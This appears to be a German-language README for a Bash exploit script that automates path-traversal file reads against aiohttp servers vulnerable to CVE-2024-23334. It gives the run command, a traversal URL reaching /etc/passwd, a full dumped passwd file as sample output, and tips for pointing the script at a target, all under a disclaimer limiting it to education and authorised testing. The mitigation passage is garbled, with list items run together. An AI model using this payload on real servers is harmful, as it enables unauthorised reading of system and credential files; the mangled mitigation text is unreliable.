
Bash-Skript zur Automatisierung von Local File Inclusion (LFI)-Angriffen auf aiohttp-Server Version 3.9.1.
Ein Bash-Skript zur Automatisierung von Local File Inclusion (LFI)-Angriffen auf anfällige aiohttp-Server, speziell abzielend auf CVE-2024-23334. Dieser Exploit ermöglicht unbefugten Zugriff auf beliebige Dateien auf Systemen, die betroffene Versionen von aiohttp mit falsch konfigurierten statischen Routen ausführen.
Die Sicherheitslücke CVE-2024-23334 betrifft das asynchrone HTTP-Client/Server-Framework aiohttp für Python und asyncio. Sie tritt auf, wenn aiohttp als Webserver mit statischen Routen verwendet wird, was bei Fehlkonfiguration zu Directory-Traversal-Schwachstellen führen kann. Dies erlaubt einem Angreifer, ohne Autorisierung auf beliebige Dateien des Systems zuzugreifen.
Gegenmaßnahmen für diese Sicherheitslücke umfassen:
follow_symlinks-Option in der Serverkonfiguration.curl: Stellen Sie sicher, dass curl auf Ihrem System installiert ist, da es für HTTP-Anfragen verwendet wird.Um das Skript auszuführen, führen Sie folgenden Befehl aus:
./lfi_aiohttp.sh -f /path/to/file/to/dump
Wenn alles gut läuft, sollten Sie ein Ergebnis ähnlich dem folgenden sehen:
[+] Curl output to the resulting url: http://localhost:8080/assets/../../..//etc/passwd.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
[+] File dumped successfully.
Wichtig: Die Variablen
main_urlundpayloadim Skript müssen möglicherweise an die Zielumgebung angepasst werden.
main_url: Diese Variable sollte auf die URL des Ziel-aiohttp-Servers gesetzt werden (z. B. http://localhost:8080). Passen Sie sie an die tatsächliche Serveradresse an, die Sie testen.payload: Diese Variable repräsentiert die statische Dateiroute auf dem Server (z. B. /assets/). Stellen Sie sicher, dass dieser Pfad mit der Konfiguration des statischen Dateiverzeichnisses des Zielservers übereinstimmt.Überprüfen Sie diese Variablen vor der Ausführung des Skripts, um sicherzustellen, dass sie für Ihr Testszenario korrekt konfiguriert sind. Falsche Einstellungen können zu fehlgeschlagenen Dateizugriffen oder unerwünschtem Verhalten führen.
Dieses Skript ist nur für Bildungszwecke und autorisierte Penetrationstests bestimmt. Die unbefugte Nutzung dieses Skripts ist untersagt und kann illegal sein.